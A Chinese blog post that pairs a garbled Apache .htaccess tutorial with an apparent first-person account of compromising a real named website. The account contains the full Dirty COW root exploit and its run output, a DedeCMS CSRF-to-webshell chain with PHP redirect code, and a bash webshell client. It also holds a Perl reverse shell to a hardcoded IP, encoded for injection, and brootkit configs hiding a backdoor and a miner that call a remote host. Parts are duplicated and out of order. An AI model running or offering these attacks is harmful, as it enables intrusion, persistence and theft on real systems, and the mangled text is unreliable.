原因
由于服务器更换,感觉wordpress有点臃肿,所以换服务器之后顺带环境都换了,之前的文章慢慢倒。。。。
由于服务器更换,感觉wordpress有点臃肿,所以换服务器之后顺带环境都换了,之前的文章慢慢倒。。。。
如何让的本地APACHE器.htaccess呢?其实只要简朴修改一下apache的httpd.conf设置就让APACHE.htaccess了,来看看操作
打开httpd.conf(在那里? APACHE目录的CONF目录里面),用文本编纂器打开后,查找
(1)
Options FollowSymLinks
AllowOverride None
改为
Options FollowSymLinks
AllowOverride All
Apache中的.htaccess(或者”分布式配置”了针对目录改变配置的方法,即,在特定的文档目录中放置包含或多个指令的,以作用于此目录及其子目录。作为,所能的命令受到限制。*Apache的AllowOverride指令来设置。
子目录中的指令会笼盖更高级目录或者主器配置中的指令。
.htaccess必需以ASCII模式上传,最好将其权限设置为644。
常用的客户端哀求错误返回代码:
401 Authorization Required
403 Forbidden
404 Not Found
405 Method Not Allowed
408 Request Timed Out
411 Content Length Required
412 Precondition Failed
413 Request Entity Too Long
414 Request URI Too Long
415 Unsupported Media Type
常见的器错误返回代码:
500 Internal Server Error
利用.htaccess指定事先制作好的错误提醒页面。一般下,人们专门设立目录,例如errors放置页面。然后再.htaccess中,加入如下的指令:
ErrorDocument 404 /errors/notfound.html
ErrorDocument 500 /errors/internalerror.html
一条指令一行。上述第一条指令的意思是对于404,也找到所的文档的得显示页面为/errors目录下的notfound.html页面。不难看出语法格局为:
ErrorDocument 错误代码 /目录名/名.扩展名
所提示的很少的话,不必专门制作页面,直接在指令中HTML号了,例如下面例子:
ErrorDocument 401 “你权限访问该页面,请抛却!”
要利用.htaccess对某个目录下的文档设定访问和对应的密码,首先要做的是生成.htpasswd的文本文档,例如:
zheng:y4E7Ep8e7EYV
这里密码经由加密,找些工具将密码加密成.htaccess的编码。该文档最好不要放在www目录下,建议放在www根目录文档之外,这样更为安全些。
有了授权文档,在.htaccess中加入如下指令了:
AuthUserFile .htpasswd的器目录
AuthGroupFile /dev/null (授权访问的目录)
AuthName EnterPassword
AuthType Basic (授权类型)
是的主人,应该处处为着想。 —— 雷锋
require user wsabstract (允许访问的,但愿表中都允许, require valid-user)
注,括号部门为学习添加的注释
我不想某个政府部门访问到站点的,那.htaccess中加入该部门的IP而将它们拒绝在外。
例如:
order allow,deny
deny from 210.10.56.32
deny from 219.5.45.
allow from all
第二行拒绝某个IP,第三行拒绝某个IP段,也219.5.45.0~219.2.45.255
想要拒绝人?用deny from all好了。不止用IP,也用域名来设定。
保护.htaccess文档
在.htaccess来设置目录的密码保护时,它包含了密码的路径。从安全考虑,有必要把.htaccess也保护起来,不让别人看到其中的。虽然用其他做到这点,好比文档的权限。不外,.htaccess本身也能做到,只需加入如下的指令:
order allow,deny
deny from all
可能对重新规划,将文档了迁移,或者更改了目录。这,来自搜索引擎或者其他链接过来的访问就可能犯错。这种下,如下指令来完成旧的URL自动转向到新的:
Redirect /旧目录/旧文档名 新文档的
或者整个目录的转向:
Redirect 旧目录 新目录
一般下缺省的首页名有default、index等。不外,有些目录中没出缺省,而是某个特定的名,好比在pmwiki中是 pmwiki.php。这种下,要记住名来访问很麻烦。在.htaccess中等闲的设置新的缺省名:
DirectoryIndex 新的缺省名
也列出多个,顺序表明它们之间的优先级别,例如:
DirectoryIndex filename.html index.cgi index.pl default.htm
不喜欢别人在的网页上连接的、文档的话,也htaccess的指令来做到。
所的指令如下:
RewriteEngine on
RewriteCond %{ HTTP_REFERER } !^$
RewriteCond %{ HTTP_REFERER } !^http://(www.)?mydomain.com/.*$ [NC]
RewriteRule .(gif&line;jpg)$ - [F]
觉得让别人的页面开个天窗不好看,那用一张来代替:
RewriteEngine on
RewriteCond %{ HTTP_REFERER } !^$
RewriteCond %{ HTTP_REFERER } !^http://(www.)?mydomain.com/.*$ [NC]
RewriteRule .(gif&line;jpg)$ http://www.mydomain.com/替代名 [R,L]
在给出如何配置Apache支持.htaccess文件之前,首先申明一下:使用.htaccess文件,会降低httpd服务器的一点性能。
找到Apache的httpd.conf配置文件,编辑器打开。
//找到
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
//修改为
<Directory />
Options FollowSymLinks
AllowOverride All
</Directory>
//就可以了
/*
如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。
例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:
*/
AccessFileName .config 通常,.htaccess文件使用的配置语法和主配置文件一样。AllowOverride指令按类别决定了.htaccess文件中哪些指令才是有效的。
(不)使用.htaccess文件的场合
一般情况下,不应该使用.htaccess文件,除非你对主配置文件没有访问权限。有一种很常见的误解,认为用户认证只能通过.htaccess文件实现,其实并不是这样,把用户认证写在主配置文件中是完全可行的,而且是一种很好的方法。
.htaccess文件应该被用在内容提供者需要针对特定目录改变服务器的配置而又没有root权限的情况下。如果服务器管理员不愿意频繁修改配置,则可以允许用户通过.htaccess文件自己修改配置,尤其是ISP在同一个机器上运行了多个用户站点,而又希望用户可以自己改变配置的情况下。
虽然如此,一般都应该尽可能地避免使用.htaccess文件。任何希望放在.htaccess文件中的配置,都可以放在主配置文件的段中,而且更高效。
避免使用.htaccess文件有两个主要原因。
首先是性能。如果AllowOverride启用了.htaccess文件,则Apache需要在每个目录中查找.htaccess文件,因此,无论是否真正用到,启用.htaccess都会导致性能的下降。另外,对每一个请求,都需要读取一次.htaccess文件。
还有,Apache必须在所有上级的目录中查找.htaccess文件,以使所有有效的指令都起作用,所以,如果请求/ctusky/ctu/sky中的页面,Apache必须查找以下文件:
/.htaccess
/ctusky/.htaccess
/ctusky/ctu/.htaccess
/ctusky/ctu/sky/.htaccess 一共就要访问4个额外的文件,就算这些文件都不存在,这也是本文开始说会影响服务器的一点性能的原因。
其次是安全。这样会允许用户自己修改服务器的配置,这可能会导致某些意想不到的修改,所以请认真考虑是否应当给予用户这样的特权。
<Directory>
Indexes 使目录内的文件或子目录以列表方式显示
Options Indexes
#This turns on fancy indexing of directories.
IndexOptions FancyIndexing
#果目录中含有HTML文件,则Apache会自动读取HTML文件的<title>......</title>部分
#用 HTML文件的标题作为Description(描述)显示在列表目录中的Description部分。。(注意:加载该指令会加大CPU的负荷!)
IndexOptions ScanHTMLTitles
#指定目录列表可以显示最长为25字节的文件/目录名,如果使用*来做值,会自适应到最长文件名
IndexOptions NameWidth=128
#指定目录列表可以显示最长为256字节的文件/目录描述内容
IndexOptions DescriptionWidth=256
#允许HTML格式
IndexOptions HTMLTable
#如果目录中含有同一文件的不同版本,则Apache会对该文件按照版本号自动排序
IndexOptions VersionSort
#最先列出文件夹会使显示效果
IndexOptions FoldersFirst
#忽略大小写
IndexOptions IgnoreCase
#默认显示字符集
IndexOptions Charset=GBK
#默认以文件或目录名升序排列
IndexOrderDefault Ascending Name
#给文件lua-5.1.3.tar.gz添加注释
#AddDescription "Lua ... " lua-5.1.3.tar.gz
#不显示apache版本及服务器信息
ServerSignature Off
AllowOverride None
Order allow,deny
Allow from all
</Directory>
这是最难的地方,在寻找提权的过程中我都有点想放弃了。
我在百度中寻找这各种方法,有的是SUID,有的是辅助提全工具(这是最坑的,找完之后也不好使,虽然说各种信息各种出)。而且很多都是关于win提权的。
在我打算放弃的时候还是去exploit-db上逛了逛,看看有没有0day这种漏洞存在,黄天不负有心人,终于让我给翻到了。。。。。。。
这东西名字说实话有点古怪,叫“Dirty COW”,说实话脏的一批,原本以为提权当前用户,没想到最脏的是把root删了。。。。
虽然是16年的漏洞,但是在这里,,,,,嘻嘻,,,都懂。 ---------Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' PTRACE_POKEDATA Race Condition Privilege Escalation (/etc/passwd)
其代码为
//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
// The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
// gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
// "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
// mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
struct Userinfo {
char *username;
char *hash;
int user_id;
int group_id;
char *info;
char *home_dir;
char *shell;
};
char *generate_password_hash(char *plaintext_pw) {
return crypt(plaintext_pw, salt);
}
char *generate_passwd_line(struct Userinfo u) {
const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
int size = snprintf(NULL, 0, format, u.username, u.hash,
u.user_id, u.group_id, u.info, u.home_dir, u.shell);
char *ret = malloc(size + 1);
sprintf(ret, format, u.username, u.hash, u.user_id,
u.group_id, u.info, u.home_dir, u.shell);
return ret;
}
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 200000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
int copy_file(const char *from, const char *to) {
// check if target file already exists
if(access(to, F_OK) != -1) {
printf("File %s already exists! Please delete it and run again\n",
to);
return -1;
}
char ch;
FILE *source, *target;
source = fopen(from, "r");
if(source == NULL) {
return -1;
}
target = fopen(to, "w");
if(target == NULL) {
fclose(source);
return -1;
}
while((ch = fgetc(source)) != EOF) {
fputc(ch, target);
}
printf("%s successfully backed up to %s\n",
from, to);
fclose(source);
fclose(target);
return 0;
}
int main(int argc, char *argv[])
{
// backup file
int ret = copy_file(filename, backup_filename);
if (ret != 0) {
exit(ret);
}
struct Userinfo user;
// set values, change as needed
user.username = "firefart";
user.user_id = 0;
user.group_id = 0;
user.info = "pwned";
user.home_dir = "/root";
user.shell = "/bin/bash";
char *plaintext_pw;
if (argc >= 2) {
plaintext_pw = argv[1];
printf("Please enter the new password: %s\n", plaintext_pw);
} else {
plaintext_pw = getpass("Please enter the new password: ");
}
user.hash = generate_password_hash(plaintext_pw);
char *complete_passwd_line = generate_passwd_line(user);
printf("Complete line:\n%s\n", complete_passwd_line);
f = open(filename, O_RDONLY);
fstat(f, &st);
map = mmap(NULL,
st.st_size + sizeof(long),
PROT_READ,
MAP_PRIVATE,
f,
0);
printf("mmap: %lx\n",(unsigned long)map);
pid = fork();
if(pid) {
waitpid(pid, NULL, 0);
int u, i, o, c = 0;
int l=strlen(complete_passwd_line);
for(i = 0; i < 10000/l; i++) {
for(o = 0; o < l; o++) {
for(u = 0; u < 10000; u++) {
c += ptrace(PTRACE_POKETEXT,
pid,
map + o,
*((long*)(complete_passwd_line + o)));
}
}
}
printf("ptrace %d\n",c);
}
else {
pthread_create(&pth,
NULL,
madviseThread,
NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(), SIGSTOP);
pthread_join(pth,NULL);
}
printf("Done! Check %s to see if the new user was created.\n", filename);
printf("You can log in with the username '%s' and the password '%s'.\n\n",
user.username, plaintext_pw);
printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
backup_filename, filename);
return 0;
}
首先我是在本地编译的,
┌─[invisible@parrot]─[~]
└──╼ $gcc -pthread exp.c -lcrypt -o exploit
然后scp到自己的服务器。这样就方便命令下载了与执行了
在我的服务器中接受到反弹的www权限的shell之后就获取提权文件,然后放置到/tmp下去执行。。。。。
sh-4.1$ wget http://175.19.213.138:1024/vip_video/exploit
wget http://175.19.213.138:1024/vip_video/exploit
--2017-07-24 16:39:34-- http://175.19.213.138:1024/vip_video/exploit
Connecting to 175.19.213.138:1024... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14368 (14K)
Saving to: `exploit'
0K .......... .... 100% 455K=0.03s
2017-07-24 16:39:34 (455 KB/s) - `exploit' saved [14368/14368]
sh-4.1$ ls exploit
ls exploit
exploit
sh-4.1$ ls -l exploit
ls -l exploit
-rw-r--r-- 1 www www 14368 Jul 24 16:38 exploit
sh-4.1$ chmod +x exploit
chmod +x exploit
接下来就是执行,说实话当时没想到会提权成功,而且结果还下了我一跳
sh-4.1$ ./exploit
./exploit
Please enter the new password: 123456
/etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:
firefart:fi8RL.Us0cfSs:0:0:pwned:/root:/bin/bash
mmap: 7efcd4fd6000
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '123456'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
可以看到,直接提权成功之后就将root用户替换成firefart了,password也做了备份被放置在/tmp
然后扫了一下端口,22端口还是开放的,直接进。。。。。
之前用过rootkit,是利用加载模块的方式劫持内核函数,有点太高级,正在努力研究。。。。
这里就用brootkit吧,这个是纯脚本的。
配置文件就如下:
[17:12 j0 firefart@iZ25thvdau5Z:t2 ~/brootkit]#cat brsh.conf
cat brsh.conf
HIDE_PORT 22
HIDE_FILE br
HIDE_PROC sh,minerd
REMOTE_HOST invisiblegg.tpddns.cn
REMOTE_PORT 12346
SLEEP_TIME 60
[17:12 j0 firefart@iZ25thvdau5Z:t2 ~/brootkit]#cat br.conf
cat br.conf
#brootkit config file.
#
HIDE_PORT 8080,8899
HIDE_FILE br.conf,bashbd.sh,brootkit,.bdrc,brdaemon,wzt
HIDE_PROC bashbd,brootkit,pty.spawn,brdaemon,minerd
REMOTE_HOST invisiblegg.tpddns.cn
REMOTE_PORT 12346
SLEEP_TIME 60
然后./install.sh放置后门走人
www.gzjftj.com/bradmin/login.php 账户密码在文档中。。。。。
在前台有个提交友情链接的地方,在模块的友情链接里,估计以前可能这里存在xss的吧。反正现在是修复了,不过发现传入的链接,在后台可以直接打开,这样就可以结合csrf进一步利用了
dedecms好多地方都是用requests获取的值,不区分get、post,原来是post的,如果post在这肯定构造不成功,get的话,就可以借助csrf(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSR,一起getshell了。
csrf 诱导 exp链接:./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?php @eval($_POST[‘c’]);?>&filename=shell.lib.php #在当前路径执行这个get请求,写入一句话。
这里就看怎么诱导管理员点击了,一般人看不懂代码,如果点击了,会在 /include/taglib/ 目录下生成一句话 shell.lib.php,但是在服务器中代理多个网站,所在目录就变成了/ysinc/taglib,有句话说好奇害死猫,确实是,天上那有掉馅饼的事,别贪便宜,不然容易出事。
就在最后要成功getshell的时候,发生了意外,发现网站名称的href字典限制了长度,把传入的./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?php @eval($_POST[‘c’]);?>&filename=hcaker.lib.php截断为./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?ph,并没有过滤,看来是限制了字符个数、还是不放弃,产生了另一种好玩的想法,感觉要比这个好玩。
一般后台审核友情链接的人都会看下网站权重,然后决定是否通过审核,这一看就会触发漏洞了。通过分析,需要填一个真实的url,而这个url要获取到referer,然后拼接url重定向,这样就可以实现getshell了,而且还可以在后端做个邮件提醒。方便知道那个站已经getshell了。
然后开始写代码了,这里费了不少时间,主要是一个问题,把代码解析为字符串,用php试过转义、字符串转化等都不成功,最后用序列化函数成功了,但是不完整,程序员的做法应该是序列化和反序列化吧,然后我使用单个字符拼接,解决了问题,其实还可以用ascii码去搞定、原来那些写各种一句话的真不容易,要对语言的任何地方都要了解,不然遇到很多未知的问题。
然后php做CSRF中转的代码如下:
<?php
//print_r($_SERVER);
$referer = $_SERVER['HTTP_REFERER'];
$dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径
//拼接 exp
$muma = '<'.'?'.'p'.'h'.'p'.' '.'@'.'e'.'v'.'a'.'l'.'('.'
然后就重新开始咯,在友情链接里面添加exp友情链接:http://invisiblegg.tpddns.cn:1024/vip_video/exp.php
然后点击连接之后会在/ysinc/taglib创建shell.lib.php,其目录为/ysinc/taglib/shell.lib.php。
直接在本地上POST请求搞定:
┌─[invisible@parrot]─[~]
└──╼ $curl -d 'c=system("uname -a",$result);echo $result;' http://www.gzjftj.com/ysinc/taglib/shell.lib.php
Linux iZ62s8ctoe0Z 2.6.32-573.18.1.el6.x86_64 #1 SMP Tue Feb 9 22:46:17 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
0┌─[invisible@parrot]─[~]
└──╼ $
查看ip之后发现是阿里云的服务器。。。。。。。。。
或者直接新建一个html文本:
<html>
<body>
<form action="http://www.gzjftj.com/ysinc/taglib/shell.lib.php" method="POST">
<input type="text" name="c" value="phpinfo();">
<input type="submit" value="submit">
</form>
</body>
</html>
#!/bin/bash
while true
do
read -p "[webshell@web]#" commend
if [[ "$commend" == "exit" ]];
then
exit 1
else
#echo 'a=system("'$commend'",$result);echo $result;'
curl -d 'c=system("'$commend'",$result);echo $result;' http://www.gzjftj.com/ysinc/taglib/shell.lib.php
fi
done
┌─[✗]─[invisible@parrot]─[~/Document/test]
└──╼ $./shell.sh
[webshell@web]#pwd
/home/wwwroot/gzjftj_com/public_html/ysinc/taglib
0[webshell@web]#exit
┌─[✗]─[invisible@parrot]─[~/Document/test]
└──╼ $
还有就是提取了,有点费劲,过两天继续。。。。。。。
┌─[invisible@parrot]─[~]
└──╼ $curl -d 'c=system("touch /tmp/pcre_update.pl",$result);echo $result;' http://www.gzjftj.com/ysinc/taglib/shell.lib.php
0┌─[invisible@parrot]─[~]
└──╼ $curl -d 'c=system("chmod 777 /tmp/pcre_update.pl",$result);echo $result;' http://www.gzjftj.com/ysinc/taglib/shell.lib.php
0┌─[invisible@parrot]─[~]
└──╼ $curl -d 'c=system("ls -al /tmp",$result);echo $result;' http://www.gzjftj.com/ysinc/taglib/shell.lib.php
total 232
drwxrwxrwt. 3 root root 217088 Jul 23 18:45 .
dr-xr-xr-x. 23 root root 4096 Feb 26 2016 ..
drwxrwxrwt 2 root root 4096 Feb 26 2016 .ICE-unix
srwxr-xr-x 1 root root 0 Jun 29 17:49 Aegis-<Guid(5A2C30A2-A87D-490A-9281-6765EDAD7CBA)>
srwxrwxrwx 1 mysql mysql 0 Dec 6 2016 mysql.sock
-rw-r--r-- 1 root root 552 Dec 10 2012 pcre_ins.sh
-rwxrwxrwx 1 www www 31 Jul 23 17:29 pcre_rm.sh
-rwxrwxrwx 1 www www 0 Jul 23 18:45 pcre_update.pl
srwxrwxrwx 1 root root 0 Jul 22 2016 qtsingleapp-aegisG-46d2
srwxr-x--- 1 root root 0 Jan 21 2016 qtsingleapp-aegisG-46d2-0
srwxrwxrwx 1 root root 0 Feb 26 2016 qtsingleapp-aegiss-a5d2
srwxrwxrwx 1 root root 0 Jan 21 2016 qtsingleapp-aegiss-a5d2-0
#!/usr/bin/perl
use Socket;
$i="222.161.31.54";
$p=32145;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");};
但是在命令行下直接插入的话会出现问题,得将特殊符号根据ascii表变换一下:
curl -d 'c=system("echo -e \"use Socket;\\0044i=\\0042222.161.31.54\\0042;\\0044p=32145;socket\\0050S,PF_INET,SOCK_STREAM,getprotobyname\\0050\\0042tcp\\0042\\0051\\0051;if\\0050connect\\0050S,sockaddr_in\\0050\\0044p,inet_aton\\0050\\0044i\\0051\\0051\\0051\\0051\\0173open\\0050STDIN,\\0042\\0076\\0046S\\0042\\0051\\0073open\\0050STDOUT,\\0042\\0076\\0046S\\0042\\0051\\0073open\\0050STDERR,\\0042\\0076\\0046S\\0042\\0051\\0073exec\\0050\\0042/bin/sh -i\\0042\\0051\\0073\\0175\\0073;\" > /tmp/pcre_update.pl",$result);echo $result;' http://www.gzjftj.com/ysinc/taglib/shell.lib.php
变换之后可写入pcre_update.pl文件中
┌─[✗]─[invisible@parrot]─[~]
└──╼ $curl -d 'c=system("cat /tmp/pcre_update.pl",$result);echo $result;' http://www.gzjftj.com/ysinc/taglib/shell.lib.php
use Socket;$i="222.161.31.54";$p=32145;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};;
服务器nc监听
nc -vv -l -p 32145
执行文件反弹shell
┌─[✗]─[invisible@parrot]─[~]
└──╼ $curl -d 'c=system("perl /tmp/pcre_update.pl",$result);echo $result;' http://www.gzjftj.com/ysinc/taglib/shell.lib.php
再就是提权了,之后慢慢来。。。。。。
在得到shell的基础上提权,这才发现提权也挺麻烦的,主要是在exploit_db网站的提权代码编译时都出错呢。。。。
想看看适合哪些提权代码吧:
sh-4.1$ ./Linux_Exploit_Suggester.pl uname -r
./Linux_Exploit_Suggester.pl uname -r
Kernel local: 2.6.32
Searching among 65 exploits...
Possible Exploits:
[+] american-sign-language
CVE-2010-4347
Source: http://www.securityfocus.com/bid/45408/
[+] can_bcm
CVE-2010-2959
Source: http://www.exploit-db.com/exploits/14814/
[+] half_nelson
Alt: econet CVE-2010-3848
Source: http://www.exploit-db.com/exploits/6851
[+] half_nelson1
Alt: econet CVE-2010-3848
Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson2
Alt: econet CVE-2010-3850
Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson3
Alt: econet CVE-2010-4073
Source: http://www.exploit-db.com/exploits/17787/
[+] msr
CVE-2013-0268
Source: http://www.exploit-db.com/exploits/27297/
[+] pktcdvd
CVE-2010-3437
Source: http://www.exploit-db.com/exploits/15150/
[+] ptrace_kmod2
Alt: ia32syscall,robert_you_suck CVE-2010-3301
Source: http://www.exploit-db.com/exploits/15023/
[+] rawmodePTY
CVE-2014-0196
Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c
[+] rds
CVE-2010-3904
Source: http://www.exploit-db.com/exploits/15285/
[+] reiserfs
CVE-2010-1146
Source: http://www.exploit-db.com/exploits/12130/
[+] video4linux
CVE-2010-3081
Source: http://www.exploit-db.com/exploits/15024/
.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>'; $exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php'; $url = $dede_login.$exp; //echo $url; header("location: ".$url); // send mail coder exit(); ?>
然后就重新开始咯,在友情链接里面添加exp友情链接:http://invisiblegg.tpddns.cn:1024/vip_video/exp.php
然后点击连接之后会在/ysinc/taglib创建shell.lib.php,其目录为/ysinc/taglib/shell.lib.php。
直接在本地上POST请求搞定:
查看ip之后发现是阿里云的服务器。。。。。。。。。
或者直接新建一个html文本:
还有就是提取了,有点费劲,过两天继续。。。。。。。
后期续集:利用perl反弹www用户的shell
1.首先确定在/tmp中可建立可读可写可执行的文件
2.在pcre_update.pl中写入反弹代码:
但是在命令行下直接插入的话会出现问题,得将特殊符号根据ascii表变换一下:
变换之后可写入pcre_update.pl文件中
服务器nc监听
执行文件反弹shell
再就是提权了,之后慢慢来。。。。。。
在得到shell的基础上提权,这才发现提权也挺麻烦的,主要是在exploit_db网站的提权代码编译时都出错呢。。。。
想看看适合哪些提权代码吧: